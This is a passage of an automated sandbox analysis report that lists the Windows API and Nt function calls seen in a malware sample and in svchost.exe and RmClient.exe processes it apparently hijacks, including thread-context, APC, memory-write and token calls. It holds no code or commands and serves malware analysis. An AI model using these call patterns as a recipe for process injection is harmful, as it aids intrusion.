            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_00949D66 NtdllDialogWndProc_W,0_2_00949D66
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_00949E78 GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,MoveWindow,SendMessageW,SendMessageW,ShowWindow,InvalidateRect,NtdllDialogWndProc_W,0_2_00949E78
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0042C163 NtClose,1_2_0042C163
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03872B60 NtClose,LdrInitializeThunk,1_2_03872B60
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03872DF0 NtQuerySystemInformation,LdrInitializeThunk,1_2_03872DF0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03872C70 NtFreeVirtualMemory,LdrInitializeThunk,1_2_03872C70
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038735C0 NtCreateMutant,LdrInitializeThunk,1_2_038735C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03874340 NtSetContextThread,1_2_03874340
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03874650 NtSuspendThread,1_2_03874650
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03872B80 NtQueryInformationFile,1_2_03872B80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03872BA0 NtEnumerateValueKey,1_2_03872BA0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03872BE0 NtQueryValueKey,1_2_03872BE0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03872BF0 NtAllocateVirtualMemory,1_2_03872BF0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03872AB0 NtWaitForSingleObject,1_2_03872AB0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03872AD0 NtReadFile,1_2_03872AD0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03872AF0 NtWriteFile,1_2_03872AF0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03872F90 NtProtectVirtualMemory,1_2_03872F90
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03872FA0 NtQuerySection,1_2_03872FA0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03872FB0 NtResumeThread,1_2_03872FB0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03872FE0 NtCreateFile,1_2_03872FE0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03872F30 NtCreateSection,1_2_03872F30
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03872F60 NtCreateProcessEx,1_2_03872F60
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03872E80 NtReadVirtualMemory,1_2_03872E80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03872EA0 NtAdjustPrivilegesToken,1_2_03872EA0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03872EE0 NtQueueApcThread,1_2_03872EE0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03872E30 NtWriteVirtualMemory,1_2_03872E30
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03872DB0 NtEnumerateKey,1_2_03872DB0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03872DD0 NtDelayExecution,1_2_03872DD0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03872D00 NtSetInformationFile,1_2_03872D00
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03872D10 NtMapViewOfSection,1_2_03872D10
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03872D30 NtUnmapViewOfSection,1_2_03872D30
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03872CA0 NtQueryInformationToken,1_2_03872CA0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03872CC0 NtQueryVirtualMemory,1_2_03872CC0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03872CF0 NtOpenProcess,1_2_03872CF0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03872C00 NtQueryInformationProcess,1_2_03872C00
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03872C60 NtCreateKey,1_2_03872C60
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03873090 NtSetValueKey,1_2_03873090
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03873010 NtOpenDirectoryObject,1_2_03873010
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038739B0 NtGetContextThread,1_2_038739B0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03873D10 NtOpenProcessToken,1_2_03873D10
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03873D70 NtOpenThread,1_2_03873D70
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02D04340 NtSetContextThread,LdrInitializeThunk,6_2_02D04340
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02D04650 NtSuspendThread,LdrInitializeThunk,6_2_02D04650
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02D02AD0 NtReadFile,LdrInitializeThunk,6_2_02D02AD0
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02D02AF0 NtWriteFile,LdrInitializeThunk,6_2_02D02AF0
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02D02BF0 NtAllocateVirtualMemory,LdrInitializeThunk,6_2_02D02BF0
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02D02BE0 NtQueryValueKey,LdrInitializeThunk,6_2_02D02BE0
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02D02BA0 NtEnumerateValueKey,LdrInitializeThunk,6_2_02D02BA0
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02D02B60 NtClose,LdrInitializeThunk,6_2_02D02B60
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02D02EE0 NtQueueApcThread,LdrInitializeThunk,6_2_02D02EE0
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02D02E80 NtReadVirtualMemory,LdrInitializeThunk,6_2_02D02E80
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02D02FE0 NtCreateFile,LdrInitializeThunk,6_2_02D02FE0
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02D02FB0 NtResumeThread,LdrInitializeThunk,6_2_02D02FB0
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02D02F30 NtCreateSection,LdrInitializeThunk,6_2_02D02F30
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02D02CA0 NtQueryInformationToken,LdrInitializeThunk,6_2_02D02CA0
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02D02C70 NtFreeVirtualMemory,LdrInitializeThunk,6_2_02D02C70
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02D02C60 NtCreateKey,LdrInitializeThunk,6_2_02D02C60
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02D02DD0 NtDelayExecution,LdrInitializeThunk,6_2_02D02DD0
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02D02DF0 NtQuerySystemInformation,LdrInitializeThunk,6_2_02D02DF0
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02D02D10 NtMapViewOfSection,LdrInitializeThunk,6_2_02D02D10
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02D02D30 NtUnmapViewOfSection,LdrInitializeThunk,6_2_02D02D30
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02D035C0 NtCreateMutant,LdrInitializeThunk,6_2_02D035C0
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02D039B0 NtGetContextThread,LdrInitializeThunk,6_2_02D039B0
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02D02AB0 NtWaitForSingleObject,6_2_02D02AB0
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02D02B80 NtQueryInformationFile,6_2_02D02B80
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02D02EA0 NtAdjustPrivilegesToken,6_2_02D02EA0
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02D02E30 NtWriteVirtualMemory,6_2_02D02E30
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02D02F90 NtProtectVirtualMemory,6_2_02D02F90
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02D02FA0 NtQuerySection,6_2_02D02FA0
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02D02F60 NtCreateProcessEx,6_2_02D02F60
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02D02CC0 NtQueryVirtualMemory,6_2_02D02CC0
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02D02CF0 NtOpenProcess,6_2_02D02CF0
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02D02C00 NtQueryInformationProcess,6_2_02D02C00
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02D02DB0 NtEnumerateKey,6_2_02D02DB0
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02D02D00 NtSetInformationFile,6_2_02D02D00
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02D03090 NtSetValueKey,6_2_02D03090
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02D03010 NtOpenDirectoryObject,6_2_02D03010
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02D03D70 NtOpenThread,6_2_02D03D70
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02D03D10 NtOpenProcessToken,6_2_02D03D10
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_00168DB0 NtCreateFile,6_2_00168DB0
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_00168F20 NtReadFile,6_2_00168F20
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_00169010 NtDeleteFile,6_2_00169010
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_001690B0 NtClose,6_2_001690B0
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_00169210 NtAllocateVirtualMemory,6_2_00169210
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_0091D588: CreateFileW,DeviceIoControl,CloseHandle,0_2_0091D588
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_00911145 LogonUserW,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcslen,74785590,CreateProcessAsUserW,GetProcessHeap,HeapFree,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,0_2_00911145
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_0091E814 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,0_2_0091E814
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_009181EE0_2_009181EE
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_008BE3F00_2_008BE3F0
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_008EE4A00_2_008EE4A0
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_008E66FB0_2_008E66FB
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_009447A80_2_009447A8
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_008DCA300_2_008DCA30
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_008BAB300_2_008BAB30
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_008CADFD0_2_008CADFD
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_008E6D790_2_008E6D79
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_008B92A00_2_008B92A0
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_008CD3B50_2_008CD3B5
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_008D13240_2_008D1324
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_008D16960_2_008D1696
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_008D77AB0_2_008D77AB
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_008CB7280_2_008CB728
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_008D79DA0_2_008D79DA
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_008B99D00_2_008B99D0
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_008D19400_2_008D1940
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_008D1C070_2_008D1C07
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_008D7C370_2_008D7C37
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_0093BD6B0_2_0093BD6B
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_008E9E8E0_2_008E9E8E
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_008CBEAD0_2_008CBEAD
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_008D1EC20_2_008D1EC2
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_00921F640_2_00921F64
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_00BE35600_2_00BE3560
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_004182531_2_00418253
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0040166D1_2_0040166D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_004010D01_2_004010D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_004021501_2_00402150
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_004012401_2_00401240
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0040FAF31_2_0040FAF3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_004023501_2_00402350
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0041644E1_2_0041644E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_004164531_2_00416453
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0041640C1_2_0041640C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0040FD131_2_0040FD13
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0040DD931_2_0040DD93
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_00402E301_2_00402E30
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0042E7531_2_0042E753
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0384E3F01_2_0384E3F0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039003E61_2_039003E6
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038FA3521_2_038FA352
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038C02C01_2_038C02C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038E02741_2_038E0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038F41A21_2_038F41A2
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039001AA1_2_039001AA
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038F81CC1_2_038F81CC
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038301001_2_03830100
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038DA1181_2_038DA118
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038C81581_2_038C8158
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038D20001_2_038D2000
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0383C7C01_2_0383C7C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038647501_2_03864750
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038407701_2_03840770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0385C6E01_2_0385C6E0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039005911_2_03900591
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038405351_2_03840535
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038EE4F61_2_038EE4F6
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038E44201_2_038E4420
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038F24461_2_038F2446
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038F6BD71_2_038F6BD7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038FAB401_2_038FAB40
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0383EA801_2_0383EA80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038429A01_2_038429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0390A9A61_2_0390A9A6
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038569621_2_03856962
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038268B81_2_038268B8
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0386E8F01_2_0386E8F0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0384A8401_2_0384A840
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038428401_2_03842840
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038BEFA01_2_038BEFA0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03832FC81_2_03832FC8
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03882F281_2_03882F28
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03860F301_2_03860F30
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038E2F301_2_038E2F30
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B4F401_2_038B4F40
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03852E901_2_03852E90
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038FCE931_2_038FCE93
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038FEEDB1_2_038FEEDB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038FEE261_2_038FEE26
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03840E591_2_03840E59
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03858DBF1_2_03858DBF
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0383ADE01_2_0383ADE0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0384AD001_2_0384AD00
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038DCD1F1_2_038DCD1F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038E0CB51_2_038E0CB5
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03830CF21_2_03830CF2
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03840C001_2_03840C00
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0388739A1_2_0388739A
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038F132D1_2_038F132D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0382D34C1_2_0382D34C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038452A01_2_038452A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0385B2C01_2_0385B2C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038E12ED1_2_038E12ED
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0385D2F01_2_0385D2F0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0384B1B01_2_0384B1B0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0387516C1_2_0387516C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0382F1721_2_0382F172
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0390B16B1_2_0390B16B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038EF0CC1_2_038EF0CC
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038470C01_2_038470C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038F70E91_2_038F70E9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038FF0E01_2_038FF0E0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038FF7B01_2_038FF7B0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038F16CC1_2_038F16CC
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038856301_2_03885630
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038DD5B01_2_038DD5B0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039095C31_2_039095C3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038F75711_2_038F7571
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038FF43F1_2_038FF43F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038314601_2_03831460
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0385FB801_2_0385FB80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B5BF01_2_038B5BF0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0387DBF91_2_0387DBF9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038FFB761_2_038FFB76
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038DDAAC1_2_038DDAAC
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03885AA01_2_03885AA0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038E1AA31_2_038E1AA3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038EDAC61_2_038EDAC6
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038FFA491_2_038FFA49
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038F7A461_2_038F7A46
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B3A6C1_2_038B3A6C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038D59101_2_038D5910
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038499501_2_03849950
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0385B9501_2_0385B950
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038438E01_2_038438E0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038AD8001_2_038AD800
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03841F921_2_03841F92
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038FFFB11_2_038FFFB1
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03803FD21_2_03803FD2
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03803FD51_2_03803FD5
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038FFF091_2_038FFF09
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03849EB01_2_03849EB0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0385FDC01_2_0385FDC0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03843D401_2_03843D40
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038F1D5A1_2_038F1D5A
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038F7D731_2_038F7D73
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038FFCF21_2_038FFCF2
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B9C321_2_038B9C32
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02D502C06_2_02D502C0
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02D702746_2_02D70274
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02CDE3F06_2_02CDE3F0
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02D903E66_2_02D903E6
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02D8A3526_2_02D8A352
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02D620006_2_02D62000
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02D881CC6_2_02D881CC
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02D901AA6_2_02D901AA
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02D841A26_2_02D841A2
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02D581586_2_02D58158
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02CC01006_2_02CC0100
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02D6A1186_2_02D6A118
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02CEC6E06_2_02CEC6E0
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02CCC7C06_2_02CCC7C0
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02CF47506_2_02CF4750
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02CD07706_2_02CD0770
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02D7E4F66_2_02D7E4F6
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02D824466_2_02D82446
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02D744206_2_02D74420
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02D905916_2_02D90591
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02CD05356_2_02CD0535
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02CCEA806_2_02CCEA80
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02D86BD76_2_02D86BD7
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02D8AB406_2_02D8AB40
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02CFE8F06_2_02CFE8F0
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02CB68B86_2_02CB68B8
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02CD28406_2_02CD2840
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02CDA8406_2_02CDA840
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02CD29A06_2_02CD29A0
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02D9A9A66_2_02D9A9A6
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02CE69626_2_02CE6962
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02D8EEDB6_2_02D8EEDB
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02D8CE936_2_02D8CE93
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02CE2E906_2_02CE2E90
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02CD0E596_2_02CD0E59
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02D8EE266_2_02D8EE26
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02CC2FC86_2_02CC2FC8
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02D4EFA06_2_02D4EFA0
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02D44F406_2_02D44F40
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02D72F306_2_02D72F30
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02D12F286_2_02D12F28
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02CF0F306_2_02CF0F30
